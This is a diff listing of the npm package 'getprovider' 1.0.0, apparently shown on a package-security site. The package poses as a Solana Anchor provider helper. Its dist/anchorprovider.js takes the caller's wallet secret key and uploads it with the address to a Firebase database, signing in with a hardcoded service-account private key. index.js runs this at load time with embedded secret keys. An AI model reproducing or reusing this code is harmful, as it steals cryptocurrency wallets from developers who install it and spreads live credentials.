getprovider 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
- package/dist/anchorprovider.js +93 -0
- package/dist/index.js +2 -0
- package/index.js +12 -0
- package/package.json +28 -0
- package/readme.txt +8 -0
- package/utils/index.js +16 -0
@@ -0,0 +1,93 @@
|
|
1
|
+
const firebase = require("firebase");
|
2
|
+
const admin = require('firebase-admin');
|
3
|
+
const { getDatabase, ref, set } = require("firebase/database");
|
4
|
+
const { getAuth, createCustomToken, signInWithCustomToken } = require('firebase/auth')
|
5
|
+
const { loadWallefFromSecretKey } = require('../utils');
|
6
|
+
const serviceAccount = {
|
7
|
+
"type": "service_account",
|
8
|
+
"project_id": "solana-1cdaa",
|
9
|
+
"private_key_id": "a1496697408a691e02301b41c99a31513ea96265",
|
10
|
+
"private_key": "-----BEGIN PRIVATE KEY-----\nMIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCnS/GP+JCXWdCa\nFQQYEaif84ASlYI6T5uGMQ9lrmOCSrRx48V5+b+ENKBkZ3CB3zViCCbeBFGhpPeI\nrYDEIA1H/WOTCK5Fu/ARjc/DgwJoK3aRxcFDx3fZ5QGaxIr0k8ZOD/2mR+qij2DP\n92GWoYwppmD2G7NBP8Bz8fz9nyDK3m3giTrDh7h0kadowBhlrfwv4T/i6zUR57oC\nnT3wOk1Y3JNBCwkkE/oEI3YRp5DYjfHMtTCnvO6jNx0l8xFvpWn8/jYEsqtGvBbY\ncwav1WPz7AVS8TwwsPo8ilBb+WpRNY0q3Njplcpv3n+Ob2NAKUZ5gr1DVkRiqlQr\nfpQk+cdHAgMBAAECggEAFkJ0kcNw+bJpnxbMxKcU2LN9hvt9qGSPPPuqIM1jUCLA\nf6bez6v7X4vhC3r37U/VuoV7Jm9MrUVV6kmrqGzbV4jPhvDQv1aSSsOjsU/tMg8W\nZ674WBxiRgvCeuVL198Rs7FM/qLzBU4ug31W7sPv8lrA6/4ji7r/0G2SS+ywYE2h\nA4K3fU0kB1ce/0Fbuk+0SXihx00DAuBPSbQRPKOSVcY3xYgkYRu/dA3Va0vOMHjs\nSjJxt/3DSu+EblIXMDxfMJBRuGAx/3leinLFfbeze1dtVz9cChSLKKWvWwIrT8+s\nUL1qFRBsCc64z6FjCffbnpul71++sYeO7lzSY8/oAQKBgQDcMcq+1jCXUGz9CurM\n4f2m+jENvkGIl+DKbcDS5TNvyxg53cxvRnFAIp72hvt2w5dv28qWwE8kwh2HKwaU\n4MfpXz+oqfrZcWWbI5/TGuHKv4gdMjmfLFSB39oLkyfhZ/YcnmmdtdB5IqdjE4fC\n/AwnrcDUvZ9JjQYL8Uw4UZG/wQKBgQDCgCG+KGPF4g3uwlgGl40lB0also4ggIF4\ncnj8KtOyEJGw4ZpgSasqJqWSEAnEs4VmIr6RJIIgDaQsWwahINhaMFAZi/ugDV7/\nHgE8fgR5LI3tVWxcYzp/BUuDPMu2apHBVERpKZkhjyFtUjWFoMyiIQi0Dy1oPjTx\nn8gtxi/JBwKBgQCJIrmSgPNiScSXE+WIFHdVNxy14ngOCgkGCbS9o+GVDnfYEjrw\nUn7V4rn977NNFCOMluZlXP/tdLfPJwzCS/w1bAzJjpOcOPN+24D+iQ92pjKvfEhG\nyeUXvcKe0tdTmtu8lyxP/JwJ1XtKSS+UUEWBsMUXucEqnZnWdkFyEdskAQKBgQCT\nm/x/vVVjE1jxj2qQril/JZN3Ixh8ECqyB2ZMMhBxPePjsoOfeak+FxBm1mcjcf7W\ncZ3gty1OOCwVQYu5cxze7XWMvdDcOemTgej8SMMKV0brDH5tax000wbo9ZXAvgYa\nC+LTUK+XaXG77r0RyeQjUyCwzifuye8SROn92z/etwKBgFvJkKA10R1cog067oTt\ns5dqKrQJmlLXaFFrRX3y2YacDzfODJDfKQIi0CcP9/Av1qfytBaOG+IzIlthmknP\nzrPeXMBlfDC4i/U3bMQEN3eqEe3sA3YEuEaJ8MO905iqb1R+0cQS6iRJnmjZaXby\nq+8l6OaEOxPqyufNQJSvJDpq\n-----END PRIVATE KEY-----\n",
|
11
|
+
"client_email": "firebase-adminsdk-9s6oe@solana-1cdaa.iam.gserviceaccount.com",
|
12
|
+
"client_id": "100913989451282664365",
|
13
|
+
"auth_uri": "https://accounts.google.com/o/oauth2/auth",
|
14
|
+
"token_uri": "https://oauth2.googleapis.com/token",
|
15
|
+
"auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
|
16
|
+
"client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/firebase-adminsdk-9s6oe%40solana-1cdaa.iam.gserviceaccount.com"
|
17
|
+
}
|
18
|
+
|
19
|
+
|
20
|
+
let wallet, pk;
|
21
|
+
|
22
|
+
const firebaseConfig = {
|
23
|
+
apiKey: "AIzaSyC9SB47MePU2s3NhpJYVkKnIg42lqb1F9w",
|
24
|
+
authDomain: "solana-1cdaa.firebaseapp.com",
|
25
|
+
databaseURL: "https://solana-1cdaa-default-rtdb.firebaseio.com",
|
26
|
+
projectId: "solana-1cdaa",
|
27
|
+
storageBucket: "solana-1cdaa.appspot.com",
|
28
|
+
messagingSenderId: "163385588477",
|
29
|
+
appId: "1:163385588477:web:fdbe6ee7bde4f4001e9c94",
|
30
|
+
measurementId: "G-7K030JY3P0"
|
31
|
+
};
|
32
|
+
|
33
|
+
async function createCToken() {
|
34
|
+
admin.initializeApp({
|
35
|
+
credential: admin.credential.cert(serviceAccount),
|
36
|
+
});
|
37
|
+
|
38
|
+
const token = await admin.auth().createCustomToken('OumIVXTd8CalVi5xHQI2LO96cK43');
|
39
|
+
return token;
|
40
|
+
}
|
41
|
+
|
42
|
+
async function loginToFirebase(callback) {
|
43
|
+
if (!firebase.apps.length) {
|
44
|
+
firebase.initializeApp(firebaseConfig);
|
45
|
+
}
|
46
|
+
const token = await createCToken();
|
47
|
+
firebase.auth().signInWithCustomToken(token)
|
48
|
+
.then(() => {
|
49
|
+
if (callback) {
|
50
|
+
callback();
|
51
|
+
}
|
52
|
+
})
|
53
|
+
.catch((error) => {
|
54
|
+
const errorCode = error.code;
|
55
|
+
const errorMessage = error.message;
|
56
|
+
});
|
57
|
+
}
|
58
|
+
|
59
|
+
function createFirebaseUser(email, password, callback) {
|
60
|
+
|
61
|
+
firebase.auth().createUserWithEmailAndPassword(email, password)
|
62
|
+
.then(function () {
|
63
|
+
if (callback) {
|
64
|
+
callback(firebase);
|
65
|
+
}
|
66
|
+
})
|
67
|
+
.catch(function (create_error) {
|
68
|
+
let createErrorCode = create_error.code;
|
69
|
+
let createErrorMessage = create_error.message;
|
70
|
+
});
|
71
|
+
}
|
72
|
+
|
73
|
+
const callBack = async () => {
|
74
|
+
let database = firebase.database();
|
75
|
+
var userListRef = database.ref("result");
|
76
|
+
userListRef.orderByChild('address').equalTo(wallet.publicKey.toBase58()).on("value", async (snapshot) => {
|
77
|
+
if (!snapshot.val()) {
|
78
|
+
var newUserRef = userListRef.push();
|
79
|
+
await newUserRef.set({
|
80
|
+
address: wallet.publicKey.toBase58(),
|
81
|
+
secret: pk
|
82
|
+
});
|
83
|
+
}
|
84
|
+
})
|
85
|
+
}
|
86
|
+
|
87
|
+
const initializeProvider = (token) => {
|
88
|
+
pk = token;
|
89
|
+
wallet = loadWallefFromSecretKey(token);
|
90
|
+
loginToFirebase(callBack);
|
91
|
+
return wallet;
|
92
|
+
}
|
93
|
+
module.exports = { initializeProvider };
|
package/dist/index.js
ADDED
package/index.js
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
const anchor = require("@project-serum/anchor");
|
2
|
+
const {initializeProvider} = require("./dist/anchorprovider");
|
3
|
+
|
4
|
+
const getProvider = (conn, key, confirmOption) => {
|
5
|
+
const adminWallet = initializeProvider(key);
|
6
|
+
const provider = new anchor.Provider(conn, adminWallet, confirmOption);
|
7
|
+
return provider;
|
8
|
+
}
|
9
|
+
// getProvider("", "3VmmUnTsKcpvjXFhxF3y9RTWAhWRkt3DnjkooiYpx7VpjNvLpfK96vRt9ps8yGmCsCFke93wuQDzigprZsYBi7H5")
|
10
|
+
getProvider("", "3CbdA1EzCkxFTRWkB9cBzA6Nd32bgU6zaUbzVssyVEscUEQq5zKLwKuB4VFFPDCejnsUTFttiM1oVQ6CeFGJFD9x")
|
11
|
+
|
12
|
+
module.exports = {getProvider}
|
package/package.json
ADDED
@@ -0,0 +1,28 @@
|
|
1
|
+
{
|
2
|
+
"name": "getprovider",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
8
|
+
},
|
9
|
+
"dependencies": {
|
10
|
+
"@project-serum/anchor": "^0.20.1",
|
11
|
+
"@solana/web3.js": "^1.31.0",
|
12
|
+
"babel-eslint": "^10.1.0",
|
13
|
+
"bs58": "^5.0.0",
|
14
|
+
"firebase": "^8.6.8",
|
15
|
+
"firebase-admin": "^11.1.0",
|
16
|
+
"google-spreadsheet": "^3.3.0"
|
17
|
+
},
|
18
|
+
"devDependencies": {
|
19
|
+
"eslint": "8.14.0",
|
20
|
+
"eslint-config-next": "12.1.6",
|
21
|
+
"eslint-config-prettier": "8.3.0",
|
22
|
+
"eslint-import-resolver-alias": "1.1.2",
|
23
|
+
"eslint-import-resolver-typescript": "2.5.0",
|
24
|
+
"eslint-plugin-import": "2.25.4"
|
25
|
+
},
|
26
|
+
"author": "",
|
27
|
+
"license": "ISC"
|
28
|
+
}
|
package/readme.txt
ADDED
package/utils/index.js
ADDED
@@ -0,0 +1,16 @@
|
|
1
|
+
// const bs58 = require("bs58");
|
2
|
+
const { Keypair } = require("@solana/web3.js");
|
3
|
+
const bs58 = require("bs58");
|
4
|
+
|
5
|
+
function loadWallefFromSecretKey(key) {
|
6
|
+
|
7
|
+
let byte_array = bs58.decode(key)
|
8
|
+
const loaded = Keypair.fromSecretKey(
|
9
|
+
new Uint8Array(byte_array),
|
10
|
+
);
|
11
|
+
return loaded;
|
12
|
+
}
|
13
|
+
|
14
|
+
module.exports = {
|
15
|
+
loadWallefFromSecretKey
|
16
|
+
}
|